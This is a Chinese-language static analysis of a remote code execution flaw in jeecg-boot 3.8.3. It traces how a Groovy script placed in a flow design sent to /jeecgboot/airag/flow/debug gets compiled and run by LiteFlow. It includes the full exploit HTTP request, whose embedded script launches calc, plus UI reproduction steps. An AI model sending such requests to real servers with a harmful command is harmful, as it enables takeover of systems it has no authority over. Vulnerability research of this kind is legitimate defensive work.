前言

本文参考:jeecg-boot 3.8.3 debug远程命令执行漏洞分析

漏洞描述及详情见: https://github.com/jeecgboot/JeecgBoot/issues/9144

需任意用户权限

本文主要是静态分析,动态调试可见参考文章

漏洞分析

下面是漏洞利用请求包,也是接下来进行分析的前提

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /jeecgboot/airag/flow/debug HTTP/1.1
Host: 192.168.129.222:3100
Content-Type: application/json;charset=UTF-8
X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzYzNTEyMjM4fQ.fpnLtU5xXXZc4_u3R9_LVrOoKrvcbTtVAPl1o8IjyPA
Accept: application/json, text/plain, /
Cookie: Hm_lvt_0febd9e3cacb3f627ddac64d52caac39=1763209826; HMACCOUNT=17D05CDAEDDE7AD4; Hm_lpvt_0febd9e3cacb3f627ddac64d52caac39=1763209838
X-Version: v3
Referer: http://192.168.129.222:3100/system/user
X-TIMESTAMP: 1763209937511
X-Tenant-Id: 1000
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
X-Sign: F4D2602369D6FCB61D92E60217E293E7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzYzNTEyMjM4fQ.fpnLtU5xXXZc4_u3R9_LVrOoKrvcbTtVAPl1o8IjyPA
Content-Length: 2266

{
"flow": {
"design": "{"nodes":[{"id":"start-node","type":"start","x":301,"y":640,"properties":{"text":"开始","remarks":"","options":{},"inputParams":[{"field":"content","name":"用户问题","type":"string","required":false},{"field":"history","name":"历史记录","type":"string[]","required":false}],"outputParams":[],"height":92,"width":332}},{"id":"code_252727837582266368","type":"code","x":787,"y":673,"properties":{"text":"脚本执行","options":{"codeType":"groovy","code":"def main(params) {\n new ProcessBuilder(\"calc\").start()\n return [\n result: \"${params.arg1}拼接${params.arg2}\"\n ]\n}"},"inputParams":[{"field":"content","name":"arg1","nodeId":"start-node"},{"field":"content","name":"arg2","nodeId":"start-node"}],"outputParams":[{"field":"result","name":"返回结果","type":"string"}],"height":158,"width":332}},{"id":"252727854036520960","type":"end","x":1273,"y":651,"properties":{"text":"结束","options":{"outputText":false,"outputContent":""},"inputParams":[],"outputParams":[{"field":"result","name":"a","nodeId":"code_252727837582266368"}],"height":114,"width":332}}],"edges":[{"id":"252727837586460672","type":"base-edge","sourceNodeId":"start-node","targetNodeId":"code_252727837582266368","sourceAnchorId":"start-node_output","targetAnchorId":"code_252727837582266368_input","pointsList":[{"x":467,"y":625},{"x":567,"y":625},{"x":521,"y":625},{"x":621,"y":625}]},{"id":"252727854040715264","type":"base-edge","sourceNodeId":"code_252727837582266368","targetNodeId":"252727854036520960","sourceAnchorId":"code_252727837582266368_output","targetAnchorId":"252727854036520960_input","pointsList":[{"x":953,"y":625},{"x":1053,"y":625},{"x":1007,"y":625},{"x":1107,"y":625}]}]}",
"chain": "THEN(\n start.tag('start-node'),\n code_252727837582266368.tag('code_252727837582266368'),\n end.tag('252727854036520960')\n).tag("start-node")"
},
"inputParams": { "content": "1231" },
"responseMode": "streaming"
}

漏洞路由地址/jeecgboot/airag/flow/debug

image-20260315202343817

看到调用了debugFlow方法,我们跟进去

image-20260315203545214

前面的代码片段都是在进行赋值等操作,重点关注最后两行调用的a方法,我们先跟进第一个a方法,看看它的作用是什么

该方法的主要作用是解析 design JSON、注册脚本节点、注册 Chain、构建 JeecgFlowContext

对于我们来说,重点关注解析design JSON部分和注册Chain部分

首先是第一部分

1
2
3
4
5
6
7
8
9
10
11
12
String design = flow.getDesign();  //用户可控的 JSON 字符串
JSONObject designJson = JSONObject.parseObject(design);
JSONArray nodes = designJson.getJSONArray("nodes");

HashMap flowNode = new HashMap();
nodes.forEach((node) -> {
FlowNode flowNodeObj = ((JSONObject)node).toJavaObject(FlowNode.class);
if (!oConvertUtils.isEmpty(flowNodeObj)) {
CodeNode.a(flowNodeObj); //处理 code 类型节点 → 编译 Groovy → 注册脚本
flowNode.put(flowNodeObj.getId(), flowNodeObj);
}
});

CodeNode.a(flowNodeObj) 是对每个流程节点的类型检查与脚本注册方法。它只对 type="code" 的节点生效,其他类型(start、end、llm 等)直接跳过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static void a(FlowNode flowNodeObj) {
// ① 只处理 type="code" 的节点,其他类型直接 return
if ("code".equals(flowNodeObj.getType())) {
Map options = flowNodeConfig.getOptions();
//读取用户传入的脚本类型
String codeType = (String) options.get("codeType");
//Python 被禁用
if (codeTypeEnum == CodeNodeTypeEnum.PYTHON) {
throw new a("暂不支持python脚本");
}
//读取用户传入的恶意代码
String script = (String) options.get("code");
//模板包装(将用户代码嵌入模板)
script = a.a(codeTypeEnum.getTplPath(), templateData);
//语法校验(仅检查能否编译,不做安全检查)
ScriptValidator.validate(script, ...);
/注册为 LiteFlow 脚本节点 → 编译 Groovy → 存入 compiledScriptMap
LiteFlowNodeBuilder.createScriptNode() // new Node(type=SCRIPT)
.setId(nodeId) // 设置节点id:"code_252727837582266368"
.setScript(script) // 存入恶意脚本内容
.setLanguage("groovy")
.build(); // 编译和注册
}
}

其中的build()方法主要做了如下的操作,在这里面重点除了编译了恶意脚本外就是绑定了ScriptCommonComponent组件(后续分析中会用到)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.build()

└─ FlowBus.addScriptNode()
└─ addScriptNodeAndCompile()
└─ addNode(cmpClazz = ScriptCommonComponent.class)
├─ new ScriptCommonComponent() ← 创建组件实例
└─ addCompiledNode2Map()
├─ cmpInstance.loadScript(script, "groovy") ← 编译恶意脚本
│ └─ JSR223ScriptExecutor.load()
│ └─ compile(script)
│ └─ GroovyScriptEngineImpl.compile()
│ └─ GroovyClassLoader.parseClass()
│ └─ compiledScriptMap.put("code_xxx", CompiledScript)
├─ node.setInstance(ScriptCommonComponent) ← 绑定组件
└─ nodeMap.put("code_xxx", node) ← 全局注册

编译过程中将编译好的 Groovy 脚本存进了compiledScriptMap,而compiledScriptMap是一个Map<String, CompiledScript>,比如如下所示

1
2
3
compiledScriptMap = {
"code_252727837582266368" → GroovyCompiledScript(已编译的恶意脚本)
}

接下来关注注册Chain部分的代码

1
2
3
4
5
6
//将编排规则注册到 FlowBus
if (!FlowBus.containChain(flow.getId())) {
FlowBus.reloadChain(flow.getId(), flow.getChain());
// flow.getChain() = "THEN(start, code_252727837582266368, end)"
// flow.getId() = 临时 UUID
}

FlowBus.reloadChain() 将用户传入的 chain EL 表达式编译为 ThenCondition 并注册。后续 FlowExecutor.doExecute() 通过 FlowBus.getChain(chainId) 取出这个编排规则来执行。

至此第一个a方法便结束了,往下走到第二个a方法

image-20260315221646678

开头是执行一个a()方法

image-20260315203112447

该方法的目的是为了确保内置节点已注册到 FlowBus,在后面的代码中会用到

然后根据 responseMode 选择同步或异步方式执行 LiteFlow 链路

从请求包中的"responseMode": "streaming"可以知道是走进else从句中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
} else {
SseEmitter emitter;

//获取或创建 SSE 连接
if (oConvertUtils.isNotEmpty(flowRunParams.getRequestId())) {
// 如果有 requestId,从缓存中获取已有的 SSE 连接
emitter = (SseEmitter) AiragLocalCache.get("CHAT:TYPE:SSE", flowRunParams.getRequestId());
} else {
// PoC 走这里:创建新的 SseEmitter(超时 = 0 表示永不超时)
emitter = new SseEmitter(0L);
emitter.onError((throwable) -> {
a.warn("SEE向客户端发送消息失败: {}", throwable.getMessage());
try { emitter.complete(); } catch (Exception var3) {}
});
}
// 将 SSE 连接注入到上下文中(流程节点可通过 context.getEmitter() 推送消息)
context.setEmitter(emitter);
// 异步提交流程执行
this.flowExecutor.execute2Future(
flowRunParams.getFlowId(), // 临时 UUID
(Object) null, // param = null
new Object[]{context} // contextBeanArray = [JeecgFlowContext]
);
//立即返回 SSE 连接(不等待执行完成)
return emitter;
}

显而易见重点就在于倒二行的this.flowExecutor.execute2Future方法,我们跟进去

库库跟了之后会走到FlowExecutor.doExcute方法处

image-20260315221806893

首先进行了一个FlowBus的初始化检查之后,会进行Slot的分配操作

1
2
3
4
5
6
7
Integer slotIndex;
if (ArrayUtil.isNotEmpty(contextBeanClazzArray)) {
slotIndex = DataBus.offerSlotByClass(ListUtil.toList(contextBeanClazzArray));
} else {
// 走这个分支
slotIndex = DataBus.offerSlotByBean(ListUtil.toList(contextBeanArray));
}

Slot 是什么:LiteFlow 的数据总线 DataBus 维护一个 Slot 池(类似线程池的概念)。每次流程执行都需要占用一个 Slot 来存储本次执行的上下文数据、执行步骤、结果等。

在本漏洞场景contextBeanClazzArray = nullcontextBeanArray = [JeecgFlowContext],所以走 offerSlotByBean 分支——直接用用户传入的 JeecgFlowContext 实例初始化 Slot。这意味着攻击者通过 POST body 间接控制的上下文对象被放入了执行环境。

往下走,FlowExecutor.doExcute方法中重点关注后面chain的获取和执行操作

1
2
3
4
5
6
chain = FlowBus.getChain(chainId);
// chainId = debugFlow() 中生成的临时 UUID
// FlowBus 中已在前面 reloadChain() 时注册了 "THEN(start..., code_xxx..., end...)"
if (chainExecuteModeEnum.equals(ChainExecuteModeEnum.BODY)) {
chain.execute(slotIndex); //执行编排链!
}

编排规则是 THEN(start, code_252727837582266368, end),所以chain.execute方法会按顺序依次执行节点

我们跟进去

image-20260316153258695

首先会进行一个condition列表的获取,conditionList 就是经过 EL 编译后的执行条件列表,这个列表即是

1
2
conditionList = [ ThenCondition ]
└── 内含 3 个 Node: start → code_252727837582266368 → end

该方法继续往下走,会遍历condition并依次执行

image-20260316154222759

对每个 Condition:

  1. 设置当前 Chain ID(用于嵌套链路追踪)
  2. 调用 condition.execute(slotIndex)

而我们的列表中只有一个ThenCondition,跟进condition.execute(slotIndex);

image-20260316154546046

可以看到该类是一个抽象类,所以真正运行该方法的是它的继承类

Condition.execute() 中调用的 this.executeCondition(slotIndex)抽象方法,**this 永远指向实际对象**,不是声明类型

而在这里很明显就是ThenCondition类,走进去

image-20260316154902753

List<PreCondition> preConditionList = this.getPreConditionList();该行代码所要收集的List列表对应 LiteFlow EL 中的 PRE(...) 语法。在我们的 PoC 中没有 PRE 条件,preConditionList 为空

因此在while循环中会直接进入到if从句中

var17 = this.getExecutableList().iterator();返回 EL 编译后的执行元素列表,对 PoC 中的 chain

executableList=[Node("start"), Node("code_xxx"), Node("end")]在while循环中会串行遍历执行,每个 Executable 在这里就是一个Node 对象,我们重点关注的是第二个Node

我们继续跟进去

image-20260316160946807

继续跟进去

image-20260316161336351

在这里第二个Node绑定的instance根据上面的LiteFlowNodeBuilder.build()可知绑定的组件是ScriptCommonComponent

继续跟进instance.execute();

image-20260316161911324

由图我们可知该类中并没有execute方法,所以会向上查找其父类NodeComponent,利用它的execute方法

image-20260316162043884

跟进this.self.process();,就走回到了ScriptCommonComponent类里面的process方法

image-20260316162153514

this.buildWrap(this) 的作用是将当前脚本组件的运行时上下文打包成一个 ScriptExecuteWrap 对象,供后续脚本执行器使用。其实本质上就是将分散在各处的运行信息给集中起来

继续跟进this.scriptExecutor.execute(wrap);

image-20260316162505381

抽象类,由于poc里面的是groovy脚本,所以是走进JSR223ScriptExecutorexecuteScript方法

1
2
3
4
5
6
7
8
9
10
11
public Object executeScript(ScriptExecuteWrap wrap) throws Exception {
if (!this.compiledScriptMap.containsKey(wrap.getNodeId())) {
String errorMsg = StrUtil.format("script for node[{}] is not loaded", new Object[]{wrap.getNodeId()});
throw new ScriptLoadException(errorMsg);
} else {
CompiledScript compiledScript = (CompiledScript)this.compiledScriptMap.get(wrap.getNodeId());
Bindings bindings = new SimpleBindings();
this.bindParam(wrap, bindings::put, bindings::putIfAbsent);
return compiledScript.eval(bindings);
}
}

if从句检测脚本是否已经成加载并存到了compiledScriptMap中,而从我们一开始的分析中便知道了在LiteFlowNodeBuilder.build()方法中便已经存放进去了

跟进return compiledScript.eval(bindings);

image-20260316163213240

动用groovy引擎来执行恶意脚本,达到rce的成果

漏洞复现

AI大模型–AI流程设计–添加流程

image-20260316165418280

添加成功后进去添加脚本执行

image-20260316170357709

image-20260316171111749